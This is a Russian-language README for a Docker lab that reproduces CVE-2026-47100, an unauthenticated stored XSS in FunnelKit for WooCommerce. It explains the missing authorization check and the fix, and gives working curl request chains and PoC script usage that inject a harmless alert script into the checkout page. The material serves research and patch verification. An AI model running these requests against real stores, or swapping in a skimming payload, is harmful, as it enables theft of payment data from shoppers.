
Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 — неаутентифицированное Stored XSS в FunnelKit для WooCommerce. Включает PoC-скрипты для сравнения уязвимой и исправленной версий.
Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 безопасным способом с минимальным вредом. Эта лаборатория сравнивает уязвимую версию FunnelKit с исправленной и проверяет поведение с помощью безвредного JavaScript-маркера/оповещения.
CVE-2026-47100 — это уязвимость отсутствия авторизации в Funnel Builder / FunnelKit for WooCommerce Checkout до версии 3.15.0.3.
Уязвимый AJAX-поток оформления заказа позволяет неаутентифицированному посетителю вызвать внутренний метод плагина и записать данные во встроенную настройку глобального внешнего скрипта FunnelKit. Поскольку эта настройка позже отображается на страницах оформления заказа FunnelKit, проблема может стать неаутентифицированным Stored XSS на страницах оформления заказа.
Этот репозиторий воспроизводит проблему локально с помощью двух Docker-сервисов:
| Сервис | Версия | URL | Ожидаемый результат |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | уязвимое поведение подтверждено |
patched | 3.15.0.3 | http://127.0.0.1:8082 | запись заблокирована / маркер не отображается |

Выбор CVE из вывода Vulnx. Лаборатория и PoC были созданы вручную путем сравнения уязвимого и исправленного поведения.
Неаутентифицированный злоумышленник может использовать общедоступный AJAX-поток оформления заказа для сохранения JavaScript в глобальной настройке внешнего скрипта FunnelKit.
В реальном магазине WooCommerce это может позволить выполнить вредоносный JavaScript в браузере пользователей, посещающих страницу оформления заказа. Публичные отчеты связывают этот класс уязвимостей с кампаниями скимминга на страницах оформления заказа.
Эта лаборатория намеренно использует только безвредный маркер доказательства:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
Уязвимая версия принимает данные оформления заказа, контролируемые пользователем, из общедоступной AJAX-конечной точки WooCommerce:
/?wc-ajax=update_order_review
Внутри потока оформления заказа FunnelKit запрос может включать:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
Уязвимая логика проверяет, существует ли указанное имя действия как метод класса. Если метод существует, он может быть вызван из общедоступного потока оформления заказа.
Упрощенное уязвимое поведение:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
Важное контролируемое злоумышленником действие:
update_global_settings_fields
Этот метод обновляет опцию WordPress:
_wfacp_global_settings
и, в частности, встроенный ключ FunnelKit:
wfacp_global_external_script
Сохраненное значение позже считывается шаблоном оформления заказа и отображается на странице оформления заказа. Это создает условие для Stored XSS.
Цепочка эксплуатации:
Неаутентифицированный посетитель страницы оформления заказа
→ публичный AJAX WooCommerce update_order_review
→ wfacp_input_hidden_data[action] под контролем злоумышленника
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script отображается на странице оформления заказа
→ Stored XSS
Версия 3.15.0.3 усиливает уязвимый путь двумя важными изменениями.
Исправленная версия ограничивает действия по оформлению заказа, которые могут быть вызваны из общедоступного потока оформления заказа.
Упрощенное исправленное поведение:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Это предотвращает вызов произвольных внутренних методов, таких как update_global_settings_fields, из неаутентифицированных запросов оформления заказа.
Исправленная версия также добавляет проверку авторизации перед обновлением глобальных настроек:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Это означает, что глобальная настройка внешнего скрипта должна быть доступна для записи только пользователям с правами управления WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
Процесс начальной загрузки (seed) создает:
Товар лаборатории
- Товар WooCommerce, используемый для создания действительной корзины/сессии
- ожидаемый ID товара в чистой лаборатории: 10
Воронка оформления заказа лаборатории
- Страница оформления заказа FunnelKit, используемая для запуска AJAX-потока оформления заказа
- ожидаемый ID записи оформления заказа в чистой лаборатории: 11
Лаборатория использует детерминированный URL оформления заказа:
/?post_type=wfacp_checkout&p=11
Это явно загружает пользовательскую запись оформления заказа FunnelKit в локальной Docker-лаборатории.
Запуск лаборатории:
docker compose up -d --build
Проверка сервисов:
docker compose ps
Ожидаемые сервисы:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Установка зависимостей Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py — это детерминированный лабораторный PoC.
Он использует значения начальной загрузки локального Docker:
product_id = 10
checkout_post_id = 11
Запуск против уязвимого сервиса:
python3 poc/poc_lab.py http://127.0.0.1:8081
Ожидаемый результат:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Запуск против исправленного сервиса:
python3 poc/poc_lab.py http://127.0.0.1:8082
Ожидаемый результат:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py — это более портативный инструмент авторизованного самотестирования.
Только пассивная проверка:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Активная авторизованная проверка:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Режим только маркера без оповещения:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Попытка очистки:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Создание новой сессии WooCommerce и добавление товара лаборатории в корзину:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Получение страницы оформления заказа FunnelKit и извлечение nonce WooCommerce для оформления заказа:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Отправка сформированного AJAX-запроса оформления заказа:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Проверка, что опция была записана:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Ожидаемый результат:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Проверка, что маркер отображается:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Открыть в браузере, чтобы увидеть безвредное оповещение:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Повторить тот же поток для порта 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Проверка, что опция осталась неизменной:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Ожидаемый результат:
[]
Проверка, что маркер не отображается:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Ожидаемый результат: нет вывода.
Уязвимый сервис подтверждает проблему, когда все следующие условия верны:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
Исправленный сервис подтверждает исправление, когда:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Этот репозиторий предназначен только для локальных, авторизованных исследований безопасности.
Разрешенная область:
localhost
127.0.0.1
сеть Docker Compose лаборатории
системы, которыми вы владеете или на тестирование которых имеете явное письменное разрешение
Не разрешено:
скимминг платежей
кража cookie
кража токенов
сбор учетных данных
внешняя эксфильтрация
несанкционированное тестирование сторонних магазинов
PoC использует только безвредное оповещение и маркер.